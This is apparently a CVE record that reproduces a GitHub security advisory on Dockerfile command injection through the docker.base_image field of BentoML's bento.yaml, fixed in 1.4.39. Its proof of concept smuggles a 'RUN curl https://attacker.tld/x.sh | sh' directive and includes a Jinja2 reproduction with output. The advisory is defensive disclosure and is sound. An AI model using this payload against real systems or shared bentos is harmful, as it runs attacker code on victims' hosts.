BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2 interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host. This vulnerability is fixed in 1.4.39.
PUBLISHED5.2CWE-78
BentoML: Dockerfile command injection via docker.base_image
Problem type
Affected products
bentoml
BentoML
< 1.4.39 - AFFECTED
References
GitHub Security Advisories
GHSA-78f9-r8mh-4xm2
BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043)
https://github.com/advisories/GHSA-78f9-r8mh-4xm2The same Dockerfile template that mishandles envs[*].name (pending GHSA-w2pm-x38x-jp44) also interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host.
Vulnerable code
src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38 (current main, 2026-04-28):
FROM {{ __options__base_image }} AS base-container
__options__base_image resolves to DockerOptions.base_image (src/bentoml/_internal/bento/build_config.py:176):
base_image: t.Optional[str] = None
No validator, no converter, no newline check. The value is loaded straight from bento.yaml in src/bentoml/_internal/container/__init__.py:206 via DockerOptions(**docker_attrs) and rendered as-is.
PoC
Malicious bentofile.yaml:
docker:
base_image: |
python:3.10
RUN curl https://attacker.tld/x.sh | sh
FROM scratch
Minimal reproduction of the unsafe interpolation:
from jinja2 import Environment
env = Environment()
malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch'
out = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious)
print(out)
Output:
FROM python:3.10
RUN curl https://attacker.tld/x.sh | sh
FROM scratch AS base-container
Three valid Dockerfile directives instead of one. The RUN curl executes during docker build. The trailing FROM scratch AS base-container provides the named build stage the rest of the template depends on, so the build proceeds without error.
Impact
Identical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during bentoml containerize of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects docker.base_image to be a Docker image reference, not a Dockerfile fragment.
Suggested fix
Validate DockerOptions.base_image at the config layer: reject any value containing newline characters (\n, \r) or whitespace beyond a single space-separated tag. A regex like ^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$ covers the practical Docker reference format.
The same hardening should be extended to other unvalidated fields interpolated raw in base_v2.j2:
__options__build_include[*]at line 97 (COPY ... ./src/{{ name }} ./src/{{ name }}) — same newline-injection class for path entries fromImage.build_include(*file_paths).bento__user,bento__uid_gid,bento__path,bento__home,bento__entrypoint— currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable throughoverride_bento_env.
References
- Pending sibling: GHSA-w2pm-x38x-jp44 (envs[*].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043.
- CWE-78: https://cwe.mitre.org/data/definitions/78.html
JSON source
https://cveawg.mitre.org/api/cve/CVE-2026-44345Click to expand
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"dateUpdated": "2026-05-27T18:00:32.386Z",
"dateReserved": "2026-05-05T19:52:59.148Z",
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}
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